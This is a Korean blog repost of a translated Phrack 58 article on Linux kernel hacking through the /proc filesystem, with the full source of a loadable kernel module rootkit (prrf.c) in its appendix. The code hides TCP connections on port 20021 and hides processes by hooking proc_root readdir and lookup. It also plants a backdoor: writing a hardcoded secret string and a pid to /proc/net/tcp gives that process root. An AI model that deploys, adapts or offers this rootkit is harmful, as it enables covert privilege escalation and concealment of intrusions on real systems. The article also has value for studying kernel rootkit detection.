수안이의 컴퓨터 연구실

  • Mainpage
  • About Me
  • Tags
  • Metapage
  • Notice
  • Location
  • Keywords
  • Guestbook
  • Admin
  • Write an Article
  • Total | 1693754
  • Today | 105
  • Yesterday | 588

Unix & Linux/Security2006/11/24 17:06

Advances in kernel hacking

************************************************************************                 제목:  커널 해킹에서의 발전(프랙 58호)                 번역: vangelis(http://www.wowhacker.org)                 * 혹시라도 오역이나 오타 있으면 말씀해주시길 바랍니다.                   시간적 여유 없이 한거라 .... ************************************************************************                                ==Phrack Inc.==                Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e |=-------=[ Sub proc_root Quando Sumus (커널 해킹에서의 발전) ]=------=| |=-----------------------------------------------------------------------=| |=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=| --[ 내용   1 - 도입   2 - VFS 및 Proc Primer     2.1 - VFS 그리고 왜 Proc인가?     2.2 - proc_fs.h     2.3 - proc_root   3 - 어디로 갈 것인가?     3.1 - 보안하기?     3.2 - 서비스 거부     3.3 - 연결 숨기기     3.4 - 권한 상승     3.5 - 프로세스 숨기기     3.6 - 다른 어플리케이션들   4 - 결론   5 - 참고문헌   색인 A: prrf.c --[ 1 - 소개   "19세기가 낭만주의를 싫어하는 것은 거울로 그 자신의 얼굴을 바라본 Caliban의 분노이다. 19세기가 리얼리즘을 싫어하는 것은 거울로 그 자신의 얼굴을 바라보지 않는 Caliban의 분노이다.                 - Oscar Wilde, "The picture of Dorian Gray"의 서문   여기서 나의 관심은 문학이 아니라 해킹이기 때문에 다시 언급해보자. 우리의 낭만주의는 보안이며, 리얼리즘은 그것의 그림자이다. 이 글은 해커 Caliban에 대한 것이다. 우리의 거울은 리눅스 커널이 될 것이다. 전체 커널은 아니다. 특히 proc 파일 시스템을 더욱 그렇다. 그것은 흥미로운 기능들을 제공하며, userland에서는 많이 사용된다. 나는 리눅스 커널 모듈(LKM)에서 사용할 목적으로 단지 이 테크닉을 기술할 것이다. 이 테크닉을 포팅하는 것은 독자들에게 달려있다. 비록 이 테크닉이 포팅이 가능하지만 그것들의 용법은 다른 unices에는 아주 필수적일 것이다.  리눅스에서 extends로 개발된 proc 파일 시스템은 다른 유닉스 시스템에서는 그렇게 확장되지 않았다. 일반적으로 그것은 프로세스마다 하나의 디렉토리를 목록으로 열거한다. 리눅스에서 그것은 많은 정보를 수집하기 위해 사용될 수 있다. 많은 프로그램들은 그것에 의존한다. 더 많은 정보는 [7]과 [8]에서 찾을 수 있다.   UNIX와 HP-UX 10.x의 구 버전은 proc 파일시스템을 제공하지 않는다.  ps(1) 명령에 의해 수집된 것과 같은 프로세스 데이터는 직접적으로 커널 메모리를 읽음으로서 획득된다. 이것은 슈퍼유저의 퍼미션을 요구하며, proc 파일 시스템 구조보다 훨씬 덜 포팅이 가능하다.    --[ 2 - VFS 그리고 Proc Primer   먼저 나는 나중에 계속 설명될 테크닉을 이해하기 위해 필요한 기본적인 내용을 언급하겠다. 그런 다음 proc  파일 시스템 디자인에 대해 살펴보도록 하고, 마지막으로 지붕 꼭대기(roof top)로 뛰어들겠다. --[ 2.1 - VFS 그리고 왜 Proc인가? 커널은 가상 파일시스템 또는 VFS라고 불리는 파일시스템 추출 층을 가지고 있다. 그것은 userland로부터 어떤 파일시스템에 대한 통합된 관점을 제공하기 위해 사용된다.(자세한 것은 [1]을 참고하라) 이 방법론에 대한 더 많은 정보는 [2]에서 찾을 수 있다.) 우리는 VFS 관점에서 proc을 보지는 않을 것이다. 우리는 비통합적인 파일시스템을 볼 것이며, 그것은 구현 차원의 proc 파일시스템에 있다. 이것은 단순한 이유를 가지고 있다. 우리는 proc에 변화를 적용하기를 원하고, 그것은 여전히 다른 어떤 파일시스템처럼 보여야 한다.   내가 왜 proc이 이 글에 초점이 되고 있는지 언급했는가? 그것은 흥미로운 두가지 속성이 있다.         1. 그것은 파일시스템이다.         2. 그것은 커널 메모리에서 완전히 거주하고  있다. 그것이 파일 시스템이기 때문에 userland로부터의 모든 접근은 커널에 의해 제공되는 VFS 층의 기능성, 즉, 읽고, 쓰고, 열기, 및 비슷한 시스템 호출에 제한되어 있다.(덧붙여 다른 접근 방법도..[3]을 보아라) 나는 “시스템 호출을 변경하지 않고서 커널에 어떻게 백도어가 심어지는가”라는 질문에 대해 자세하게 설명할 것이다. --[ 2.2 - proc_fs.h 이 하부장은 proc_fs.h라는 파일에 대해 다룰 것이다. 이 파일은 보통 ~/include/linux/에 있으며, ~은 커널 소스 트리의 루트이다. 여기서는 2.2 시리즈에 대한 것이다. /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "fill_inode" is used to * fill in file type/protection/owner information specific to the * particular /proc file. */ struct proc_dir_entry {         unsigned short low_ino;         unsigned short namelen;         const char *name;         mode_t mode;         nlink_t nlink;         uid_t uid;         gid_t gid;         unsigned long size;         struct inode_operations * ops;         int (*get_info)(char *, char **, off_t, int, int);         void (*fill_inode)(struct inode *, int);         struct proc_dir_entry *next, *parent, *subdir;         void *data;         int (*read_proc)(char *page, char **start, off_t off,                         int count, int *eof, void *data);         int (*write_proc)(struct file *file, const char *buffer,                 unsigned long count, void *data);         int (*readlink_proc)(struct proc_dir_entry *de, char *page);         unsigned int count;        /* use count */         int deleted;                /* delete flag */ }; 기술된 "in-memory tree"는 VFS에 의해서 통합될 것이다. 이 구조는 커널 2.4에서는 약간 다르다. /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "owner" is used to protect module * from unloading while proc_dir_entry is in use */ typedef int (read_proc_t)(char *page, char **start, off_t off,                         int count, int *eof, void *data); typedef int (write_proc_t)(struct file *file, const char *buffer,                         unsigned long count, void *data); typedef int (get_info_t)(char *, char **, off_t, int); struct proc_dir_entry {         unsigned short low_ino;         unsigned short namelen;         const char *name;         mode_t mode;         nlink_t nlink;         uid_t uid;         gid_t gid;         unsigned long size;         struct inode_operations * proc_iops;         struct file_operations * proc_fops;         get_info_t *get_info;         struct module *owner;         struct proc_dir_entry *next, *parent, *subdir;         void *data;         read_proc_t *read_proc;         write_proc_t *write_proc;         atomic_t count;                /* use count */         int deleted;                /* delete flag */         kdev_t  rdev; }; 몇년간의 개발이 끝이 나지 않았다. 좀 변했으며, get_info 함수 프로토타입은 독립변수를 잃어버렸다. 이것을 해결하는 것이 포팅가능한 코드를 약간 너절하게 만들었다. 하나의 항목 readlink_proc이 제거되지만 세 개의 새로운 항목이 있다는 것을 주목해라. 또한 파일 오퍼레이션 구조체는 inode 오퍼레이션으로부터 proc_dir_entry struct 안으로 이동했다는 것도 주목해라. 이것에 관해서는 섹션 3을 보자. --[ 2.3 - proc_root   리눅스 커널은 proc 파일 시스템의 루트 inode, 즉 proc_root를 export한다. 그래서 마운트포인트(보통 /proc)가 가리키는 것은 proc 파일 시스템의 루트 inode이다. 그곳에서 시작해 그 파일의 하부에 있는 어떤 파일에도 접근할 수 있다. 하지만, 한가지 예외가 있다. 프로세스들의 디렉토리들은 proc_root로부터 결코 도달될 수 없다. 그것들은 동적으로 추가되며, 만약 readdir(inode operation)이 호출되면 VFS 층으로 건네진다. proc_root는 "struct proc_dir_entry" 타입이라는 것이 분명해져야 한다. --[ 3 - 어디로 갈까? 이 장은 시스템호출 대체로 인해 보통 획득될 수 있는 것보다 훨씬 많은 능력을 습득하는 테크닉을 소개할 것이다. 다음 함수들과 매크로들은 이 하부 장에서 제공되는 코드에서 사용될 것이다. (구현에 대해서는 색인 A를 참고하라.) 섹션 2.2에서 살펴본 것처럼 우리는 디자인에서 약간의 변화를 조심해야 한다.                  #if defined (KERNEL_22)         #define FILE_OPS        ops->default_file_ops         #define INODE_OPS       ops         #elif defined (KERNEL_24)         #define FILE_OPS        proc_fops         #define INODE_OPS       proc_iops         #endif         struct proc_dir_entry *         traverse_proc (char *path, struct proc_dir_entry *start): 성공할 경우 path에 의해 지정된 proc 파일에 포인터를 리턴한다. 실패할 경우 NULL이 리턴된다. 시작은 NULL이나 또는 임의 proc_dir_entry일 수 있는데, 그것은 탐색이 시작되는 지점을 가리킨다. path는 "~/"로 시작될 수 있다. 만약 그렇다면 탐색은 proc_root에서 시작한다.         int         delete_proc_file (char *path): 이 함수는 proc 디렉토리 리스트로부터 어떤 파일을 제거할 것이다. 그것은 proc_dir_entry가 차지하고 있는 메모리를 비우지는 않을 것이다. 그래서 나중에 계속해서 그것을 다시 도입하는 것을 가능하게 만든다. --[ 3.1 - 안전하게 하기? 마음에 떠오르는 가장 쉬운 수정은 proc_dir_entry에 있는 첫 번째 몇몇 필더들에 관련된 것이다. 즉, uid, gid, 그리고 모드. 그것들을 변경함으로써 우리는 사용자들이 어떤 정보에 접근하는 권한을 재부여하거나 취소할 수 있다. /proc을 통해 접근가능한 정보들 중의 몇가지는 다른 방법으로 획득될 수 있다.      한가지 방법 구현:         proc_dir_entry *a = NULL;         a = traverse_proc ("~/ksyms", NULL);         if (a) {                 /* reset permissions to 400 (r--------): */                 a->mode -= (S_IROTH | S_IRGRP);         }         a = traverse_proc ("~/net", NULL);         if (a) {                 /* reset permissions to 750 (rwxr-x---): */                 a->mode = S_IRWXU | S_IRGRP | S_IXGRP;                 /* reset owner group to a special admin group id */                 a->gid = 7350;         } proc 접근을 안전하게 하는 다른 가능성은 3.5에 나와 있다.   --[ 3.2 - 서비스 거부 가능한 짧게 하겠다. 악의적인 사용자는 시스템의 일부를 쓸모없게 하기 위해 파일에 변경을 적용할 수 있다. 앞에서 언급한 것처럼 쉽게 끝장날 수 있다. 하지만 만약 악의적인 사용자가 간단히 파일의 링크를 해제한다면 그것은 상실된다.         /* oops, we forget to save the pointer ... */         delete_proc_file ("~/apm");   delete_proc_file 호출에서 실제로 일어난 것:         0. 삭제하기 위해(to_del) 파일의 proc_dir_entry를 찾는다.         1. 해당되는 proc_dir_entry를 찾는다:            proc->next->name == to_del->name         2. 다시 링크:            proc->next = to_del->next --[ 3.3 - 연결 숨기기 netstat 유틸리티는 예를 들어 TCP 연결과 상태, listening UDP 소켓 등을 보여주기 위해 proc 파일 ~/net/* 파일들을 사용한다. netstat에 대한 완전한 토론은 [4]를 읽어보아라. 우리가 proc 파일 시스템을 통제하기 때문에 무엇이 읽히고 읽히지 않는지를 정의할 수 있다. proc_dir_entry struct는 파일 읽기에 호출되는 get_info라는 함수 포인터를 포함하고 있다. 이것을 리다이렉트함으로써 우리는 /proc에 있는 파일들의 내용을 통제할 수 있다.    다른 버전의 파일 포맷에 유의해라. 위에서 언급된 파일들은 2.2.x에서 2.4.x로 포맷을 변경했다. 같은 함수가 리다이렉션을 위해 사용될 수 있다. 이것이 2.5.x 커널에서 어떻게 개발되는지 살펴보자.   예(2.2.x 커널용, 2.4.x 커널에서 차이점은 섹션 2.2를 보아라.)         /* we save the original get_info */         int (*saved_get_info)(char *, char **, off_t, int, int);         proc_dir_entry *a = NULL;         /* the new get_info ... */         int         new_get_info (char *a, char **b, off_t c, int d, int e) {                 int x = 0;                 x = saved_get_info (a, b, c, d, e);                 /* do something here ... */                 return x;         }         a = traverse_proc ("~/net/tcp", NULL);         if (a) {                 /*                  * we just set the get_info pointer to point to our new                  * function. to undo this changes simply restore the pointer.                  */                 saved_get_info = a->get_info;                 a->get_info = &new_get_info;         }   색인 A는 예로 구현한 것을 제공한다. --[ 3.4 - 권한 상승 종종 시스템 호출은 어떤 조건 하에서 사용자에게 특별한 권한을 어떤 주기 위해 활용된다. 우리는 이것을 위해 시스템 호출을 리다이렉트하지는 않을 것이다. 어떤 파일의 파일 읽기 작동을 리다이렉트하는 것으로도 충분하다. 왜냐하면 그것은 사용자가 데이터를 커널에 보내도록 허용하기 때문이면, 만약 우리가 올바른 패턴이나 또는 올바른 파일을 선택한다면 그것은 엄청 비밀스러울 것이다.(만약 그것이 /proc/sys/net/ipv4/ip_forward에 '1'을 쓰려고 한다면 0으로 task id를 상승시키는 것은 확실히 나쁜 생각이다.)    몇몇 코드가 이것을 설명할 것이다.         a = traverse_proc ("~/ide/drivers", NULL);         if (a) {                 /*                  * the write function is called if the file is written to.                  */                 a->FILE_OPS->write = &new_write;         } 우리가 덮어쓴 포인터를 저장하는 것이 좋은 생각이다. 만약 우리가 그 모듈을 제거한다면 함수를 포함한 메모리는 여유가 생길 수 도 있다. 만약 결과적으로 NULL 포인터를 호출한다면 시스템을 파괴할 수도 있다. 호기심 많은 독자라면 색인 A를 읽어보기를 권장한다. --[ 3.5 - 프로세스 숨기기 만약 디렉토리가 읽히기 되면 어떤 일이 생기는가? 그것의 inode를 찾아야 하고, 그런 다음 readdir를 이용해 그것의 항목을 읽어봐야 한다. VFS는 이것에 통합된 인터페이스를 제공하기 때문에 우리는 신경쓰지 않고 문제가 되는 부모 inode의 readdir로 포인터를 재설정한다.   프로세스 디렉토리들이 직접적으로 proc_root 하에 있기 때문에 부모 inode를 찾을 필요는 없다. 사용자의 메모리에 항목들을 쓰지 않는 것에 의해서가 아니라 우리가 항목들을 분류함으로써 사용자로부터 항목들을 숨기지는 않는다는 것을 주목해라.            /* a global pointer to the original filldir function */         filldir_t real_filldir;         static int new_filldir_root (void * __buf, const char * name,                         int namlen, off_t offset, ino_t ino) {                 /*                  * if the dir entry, that should be added has a stupid name                  * indicate a successful addition and do nothing.                  */                 if (isHidden (name))                         return 0;                 return real_filldir (__buf, name, namlen, offset, ino);         }         /* readdir, business as usual. */         int new_readdir_root (struct file *a, void *b, filldir_t c) {                 /*                  * Note: there is no need to set this pointer every                  * time new_readdir_root is called. But we have to set                  * it once, when we replace the readdir function. If we                  * know where filldir lies at that time this should be                  * changed. (yes, filldir is static).                  */                 real_filldir = c;                 return old_readdir_root (a, b, new_filldir_root);         }         /* replace the readdir file operation. */         proc_root.FILE_OPS->readdir = new_readdir_root;     만약 마지막으로 추가되어야할 프로세스가 숨겨져 있다면 filldir가 링크에 대해 신경을 쓰지 않기 때문에 항목들의 목록은 적절하게 링크가 되어 있지 않다. 하지만, 이것은 일어나지는 않을 것 같다. 사용자는 이 상태를 피할 필요가 있는 모든 파워를 가지고 있다.     부모 inode의 lookup inode 작용을 대체함으로써 /proc 내에 접근할 수 없는 파일들을 만드는 것이 가능하다.         struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {                 /*                  * will result in:                  * "/bin/ls: /proc/<d_iname>: No such file or directory"                  */                 if (isHidden (b->d_iname))                         return NULL;                 return old_lookup_root (a, b);         }         /* ... enable the feature ... */         proc_root.INODE_OPS->lookup = &new_lookup_root;   이것은 적절한 접근 규칙을 확립하는데 사용될 수 있다. --[ 3.6 - 다른 어플리케이션 자, 어떤 파일들이 변경되기 위해 기다리고 있는지 살펴보자. /proc/net 디렉토리에 ip_fwnames(chain 이름을 정의)와 ip_fwchains(규칙들)가 있다. 이것들은 필터링 규칙을 목록으로 작성하도록 요구받는다면 ipchains(iptables가 아님)에 의해 읽힌다. 위에서 언급된 것처럼 존재하는 모든 tcp 소켓을 listening하는 tcp라는 이름을 가진 파일이 있다. 그와 같은 파일은 udp에도 역시 존재한다. 파일 raw는 raw 소켓의 목록을 작성한다. sockstat는 소켓 사용에 대한 통계를 포함하고 있다. 조심스럽게 쓰여진 백도어는 tcp, udp 등의 파일과 이 백도어 사이를 sync해야 한다. arp 유틸리티는 정보를 수집하기 위해 /proc/net/arp를 사용한다. route는 /proc/net/route 파일을 사용한다. 그것들의 맨페이지를 읽어보고, "FILES"와 "SEE ALSO"라는 이름을 가진 섹션을 찾아보아라. 하지만, 그 파일들을 점검하는 것은 단지 작업의 부분에 지나지 않는다. 예를 들어, ifconfig는 정보를 수집하기 위해 proc 파일(dev)에 추가해 ioctl 파일을 사용한다.      여러분들도 알겠지만 이 테크닉에는 수많은 어플리케이션들이 있다. 그것들의 출력을 필터링하거나 새로운 악의적인 항목을 추가하기 위해 새로운 get_info 함수들을 쓰는 것은 여러분들에게 달려있다.(존재하지 않은 문제들을 디버깅하기란 무지 어렵다.) --[ 4 - 결론   우리가 센션 3.2-3.6에서 보았듯이 리눅스 커널의 보안을 약하게 만드는 여러 가능성들이 있다. 기존의 커널 보호 역학은([5], [6]은 그것들을 예방하지 못할 것이다.) 시스템 호출 기반 및 백도어링 같은 잘 알려진 것들(이것에 대한 확실한 해결책이 있다)만 점검한다. LKM 지원을 비활성화하는 것은 여기서 포함된 특정한 구현만을 예방할 것이다.(왜냐하면 그것은 LKM이기 때문이다)     /dev[k]mem에 접근함으로써 proc 구조를 변경하는 것은 inode의 대부분의 데이터가 정적이기 때문에 쉽다. 그래서 그것들은 단순한 패턴 매칭에 의해서 발견될 수 있다.(단지 함수 포인터와 next/parent/subdir 포인터만이 다를 것이다.)   어떤 디렉토리나 파일을 숨기는 중요한 목표는 통과되지 않았다. 이것은 proc 게임에 의해 도달될 수 없다는 것을 의미하지는 않는다. 가능성은 필요한 바이너리를 커널 이미지 proc 구조 안으로 하드코딩하거나 또는 SDRAM을 사용하는 시스템에 사용되지 않는 메모리 공간을 차지하도록 하는 것이다. 또 다른 가능성은 VFS 층을 공격하는 것일지도 모른다. 물론 이것은 다른 문서의 이야기이다.        (개인적인 당부의 말 생략)    여기의 코드는 2.2.x와 2.4.x 커널에서 컴파일되고 실행되었다. --[ 5 - 참고문헌 [1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au>     http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt [2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and     Albert S. Woodhull     ISBN 0-13-630195-9 [3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>     http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt [4] netstat     see netstat(1) for further information. [5] StMichael, by Tim Lawless <lawless@netdoor.com>     http://sourceforge.net/projects/stjude [6] KSTAT, by FuSyS <fusys@s0ftpj.org>     http://s0ftpj.org/tools/kstat.tgz [7] proc pseudo-filesystem man page     see proc(5) [8] "T H E  /proc   F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>,     Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com>     ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)     http://skaro.nightcrawler.com/~bb/Docs/Proc --[ 색인 A: prrf.c <++> ./prrf.c /* * prrf.c * * LICENSE: * this file may be copied or duplicated in any form, in * whole or in part, modified or not, as long as this * copyright notice is prepended UNMODIFIED. * * This code is proof of concept. The author can and must * not be made responsible for any, including but not limited * to, incidental or consequential damage, data loss or * service outage. The code is provided "AS IS" and WITHOUT * ANY WARRENTY. USE IT AT YOU OWN RISK. * * palmers / teso - 12/02/2001 */ /* * NOTE: the get_info redirection DOES NOT handle small buffers. *       your system _might_ oops or even crash if you read less *       bytes then the file contains! */ /* * 2.2.x #define KERNEL_22 * 2.4.x #define KERNEL_24 */ #define KERNEL_22        1 #define DEBUG                1 #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> #include <linux/config.h> #include <linux/types.h> #include <linux/slab.h> #include <linux/smp_lock.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <asm/uaccess.h> /* * take care of proc_dir_entry design */ #if defined (KERNEL_22)   #define FILE_OPS        ops->default_file_ops   #define INODE_OPS        ops #elif defined (KERNEL_24)   #define FILE_OPS        proc_fops   #define INODE_OPS        proc_iops #endif #define BUF_SIZE        65535 #define AUTH_STRING        "ljdu3g9edaoih" struct hide_proc_net {   int                        id;                /* entry id, useless ;) */   char                        *local_addr,        /* these should be self explaining ... */                         *remote_addr,                           *local_port,                         *remote_port; }; /* * global lst_entry: * set by traverse_proc, used by delete_proc_file. */ struct proc_dir_entry        *lst_entry = NULL; /* * some function pointers for saving original functions. */ #if defined (KERNEL_22)   int (*old_get_info_tcp) (char *, char **, off_t, int, int); #elif defined (KERNEL_24)   get_info_t *old_get_info_tcp; #endif ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *); struct dentry * (*old_lookup_root) (struct inode *, struct dentry *); int (*old_readdir_root) (struct file *, void *, filldir_t); filldir_t real_filldir; /* * rules for hiding connections */ struct hide_proc_net hidden_tcp[] = {         {0, NULL, NULL, ":4E35", NULL},                /* match connection from ANY:ANY to ANY:20021 */         {1, NULL, NULL, NULL, ":4E35"},                /* match connection from ANY:20021 to ANY:ANY*/         {2, NULL, NULL, ":0016", ":4E35"},        /* match connection from ANY:20021 to ANY:22 */         {7350, NULL, NULL, NULL, NULL}                /* stop entry, dont forget to prepend this one */ }; /* * get_task: * find a task_struct by pid. */ struct task_struct *get_task(pid_t pid) {         struct task_struct        *p = current;         do {                 if (p->pid == pid)                 return p;                 p = p->next_task;         } while (p != current);         return NULL; } /* * __atoi: * atoi! */ int __atoi(char *str) {         int        res = 0,                 mul = 1;         char *ptr;         for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {                 if (*ptr < '0' || *ptr > '9')                         return (-1);                 res += (*ptr - '0') * mul;                 mul *= 10;         }         return (res); } /* * get_size_off_tcp: * get the size of the modified /proc/net/tcp file. */ static off_t get_size_off_tcp (char **start) {   off_t                x = 0,                 xx = 0,                 xxx = 0,                 y = 0;   char                tmp_buf[BUF_SIZE + 1];   do     {       x += y;       xx += xxx;       y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);     } while (y != 0);   return x - xx; } /* * deny_entry: * check connection parameters against our access control list. * for all non-NULL fields of a entry the supplied parameters * must match. Otherways the socket will show up. */ int deny_entry (char *la, char *lp, char *ra, char *rp) {   int                x = 0,                 y,                 z;   while (hidden_tcp[x].id != 7350)     {       y = 0;       z = 0;       if (hidden_tcp[x].local_addr != NULL)         {           if (!strncmp (la, hidden_tcp[x].local_addr, 8))             y++;         }       else         z++;       if (hidden_tcp[x].remote_addr != NULL)         {           if (!strncmp (ra, hidden_tcp[x].remote_addr, 8))             y++;         }       else         z++;       if (hidden_tcp[x].local_port != NULL)         {           if (!strncmp (lp, hidden_tcp[x].local_port, 5))             y++;         }       else         z++;       if (hidden_tcp[x].remote_port != NULL)         {           if (!strncmp (rp, hidden_tcp[x].remote_port, 5))             y++;         }       else         z++;       if ((z != 4) && ((y + z) == 4))         return 1;       x++;     }   return 0; } /* * __new_get_info_tcp: * filter the original get_info output. first call the old function, * then cut out unwanted lines. * XXX: very small buffers will make very large problems. */ int __new_get_info_tcp (char *page, char **start, off_t pos, int count, int f, int what, off_t *fx) {   char                tmp_l_addr[8],                 tmp_l_port[5],                   tmp_r_addr[8],                 tmp_r_port[5],                /* used for acl checks */                 *tmp_ptr,                 *tmp_page;   int                x = 0,                 line_off = 0,                 length,                 remove = 0,                 diff,                 m; #if defined (KERNEL_22)   x = old_get_info_tcp (page, start, pos, count, f); #elif defined (KERNEL_24)   x = old_get_info_tcp (page, start, pos, count); #endif   if (page == NULL)     return x;   while (*page)     {       tmp_ptr = page;       length = 28;       while (*page != 'n' && *page != '')        /* check one line */         {         /*          * we even correct the sl field ("line number").          */           if (line_off)             {               diff = line_off;               if (diff > 999)                 {                   m = diff / 1000;                   page[0] -= m;                   diff -= (m * 1000);                 }               if (diff > 99)                 {                   m = diff / 100;                   page[1] -= m;                   diff -= (m * 100);                 }               if (diff > 9)                 {                   m = diff / 10;                   page[2] -= m;                   diff -= (m * 10);                 }               if (diff > 0)                 page[3] -= diff;               if (page[0] > '1')                 page[0] = ' ';               if (page[1] > '1')                 page[1] = ' ';               if (page[2] > '1')                 page[2] = ' ';             }           page += 6;                /* jump to beginning of local address, XXX: is this fixed? */           memcpy (tmp_l_addr, page, 8);           page += 8;                /* jump to beginning of local port */           memcpy (tmp_l_port, page, 5);           page += 6;                /* jump to remote address */           memcpy (tmp_r_addr, page, 8);           page += 8;                /* jump to beginning of local port */           memcpy (tmp_r_port, page, 5);           while (*page != 'n')        /* jump to end */             {               page++;               length++;             }           remove = deny_entry (tmp_l_addr, tmp_l_port, tmp_r_addr, tmp_r_port);         }       page++;                        /* 'n' */       length++;       if (remove == 1)         {           x -= length;           if (what)                /* count ignored bytes? */             *fx += length;           tmp_page = page;           page = tmp_ptr;           while (*tmp_page)        /* move data backward in page */             *tmp_ptr++ = *tmp_page++; /* zero lasting data (not needed)           while (length--)             *tmp_ptr++ = 0;           *tmp_ptr = 0; */           line_off++;           remove = 0;         }     }   return x; } /* * new_get_info_tcp: * we need this wrapper to avoid duplication of entries. we have to * check for "end of file" of /proc/net/tcp, where eof lies at * file length - length of all entries we remove. */ #if defined (KERNEL_22) int new_get_info_tcp (char *page, char **start, off_t pos, int count, int f) { #elif defined (KERNEL_24) int new_get_info_tcp (char *page, char **start, off_t pos, int count) {   int                f = 0; #endif   int                x = 0;   off_t                max = 0;   max = get_size_off_tcp (start);   if (pos > max)     return 0;   x = __new_get_info_tcp (page, start, pos, count, f, 0, NULL);   return x; } /* * new_write_tcp: * a write function that performs misc. tasks as privilege elevation etc. * e.g.: * echo AUTH_STRING + nr. > /proc/net/tcp == uid 0 for pid nr. */ ssize_t new_write_tcp (struct file *a, const char *b, size_t c, loff_t *d) {   char *tmp = NULL, *tmp_ptr;   tmp = kmalloc (c + 1, GFP_KERNEL);   copy_from_user (tmp, b, c);   if (tmp[strlen (tmp) - 1] == 'n')     tmp[strlen (tmp) - 1] = 0;   if (!strncmp (tmp, AUTH_STRING, strlen (AUTH_STRING)))     {       struct task_struct *x = NULL;       tmp_ptr = tmp + strlen (AUTH_STRING) + 1;       if ((x = get_task (__atoi (tmp_ptr))) == NULL)         {           kfree (tmp);           return c;         }       x->uid = x->euid = x->suid = x->fsuid = 0;           x->gid = x->egid = x->sgid = x->fsgid = 0;         }   kfree (tmp);   return c; } /* * some testing ... */ struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {   if (b->d_iname[0] == '1')     return NULL;        /* will result in: "/bin/ls: /proc/1*: No such file or directory" */   return old_lookup_root (a, b); } static int new_filldir_root (void * __buf, const char * name, int namlen, off_t offset, ino_t ino) {   if (name[0] == '1' && name[1] == '0')        /* hide init */     return 0; /* * hiding the last task will result in a wrong linked list. * that leads e.g. to crashes (ps). */   return real_filldir (__buf, name, namlen, offset, ino); } int new_readdir_root (struct file *a, void *b, filldir_t c) {   real_filldir = c;   return old_readdir_root (a, b, new_filldir_root); } /* * traverse_proc: * returns the directory entry of a given file. the function will traverse * thru the filesystems structure until it found the matching file. * the pr argument may be either NULL or a starting point for the search. * path is a string. if it begins with '~' and pr is NULL the search starts * at proc_root. */ struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr) {   int                        x = 0;   char                        *tmp = NULL;   if (path == NULL)     return NULL;   if (path[0] == '~')     {       lst_entry = &proc_root;       return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir);     }   while (path[x] != '/' && path[x] != 0)     x++;   tmp = kmalloc (x + 1, GFP_KERNEL);   memset (tmp, 0, x + 1);   memcpy (tmp, path, x);   while (strcmp (tmp, (char *) pr->name))     {       if (pr->subdir != NULL && path[x] == '/')         {           if (!strcmp (tmp, (char *) pr->subdir->name))             {               kfree (tmp);               lst_entry = pr;               return traverse_proc (path + x + 1, pr->subdir);             }         }       lst_entry = pr;       pr = pr->next;       if (pr == NULL)         {           kfree (tmp);           return NULL;         }     }   kfree (tmp);   if (*(path + x) == 0)     return pr;   else     {       lst_entry = pr;       return traverse_proc (path + x + 1, pr->subdir);     } } /* * delete_proc_file: * remove a file from of the proc filesystem. the files inode will still exist but it will * no longer be accessable (not pointed to by any other proc inode). the subdir pointer will * be copy'ed to the the subdir pointer of the preceeding inode. * returns 1 on success, 0 on error. */ int delete_proc_file (char *name) {   struct proc_dir_entry        *last = NULL;   char                        *tmp = NULL;   int                        i = 0;        /* delete subdir? */   last = traverse_proc (name, NULL);   if (last == NULL)     return 0;   if (lst_entry == NULL)     return 0;   if (last->subdir != NULL && i)     lst_entry->subdir = last->subdir;   while (*name != 0)     {       if (*name == '/')         tmp = name + 1;       *name++;     }   if (!strcmp (tmp, lst_entry->next->name))     lst_entry->next = last->next;   else if (!strcmp (tmp, lst_entry->subdir->name))     lst_entry->subdir = last->next;   else     return 0;   return 1; } int init_module () {   struct proc_dir_entry        *last = NULL;   last = traverse_proc ("~/net/tcp", NULL);   old_readdir_root = proc_root.FILE_OPS->readdir;   old_lookup_root = proc_root.INODE_OPS->lookup;      proc_root.FILE_OPS->readdir = &new_readdir_root;   proc_root.INODE_OPS->lookup = &new_lookup_root;   if (last != NULL)     { #ifdef DEBUG       printk ("Installing hooks ....n"); #endif       old_get_info_tcp = last->get_info;       old_write_tcp = last->FILE_OPS->write;       last->get_info = &new_get_info_tcp;       last->FILE_OPS->write = &new_write_tcp;     }   return 0; } void cleanup_module () {   struct proc_dir_entry        *last = NULL;   last = traverse_proc ("~/net/tcp", NULL);   proc_root.FILE_OPS->readdir = old_readdir_root;   proc_root.INODE_OPS->lookup = old_lookup_root;   if (last != NULL)     { #ifdef DEBUG       printk ("Removing hooks ....n"); #endif       last->get_info = old_get_info_tcp;       last->FILE_OPS->write = old_write_tcp;     } } <--> 
"Security" 카테고리의 다른 글
  • 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
  • ping 에 응답하지 않기 (0)2007/04/09
  • Advances in kernel hacking (0)2006/11/24
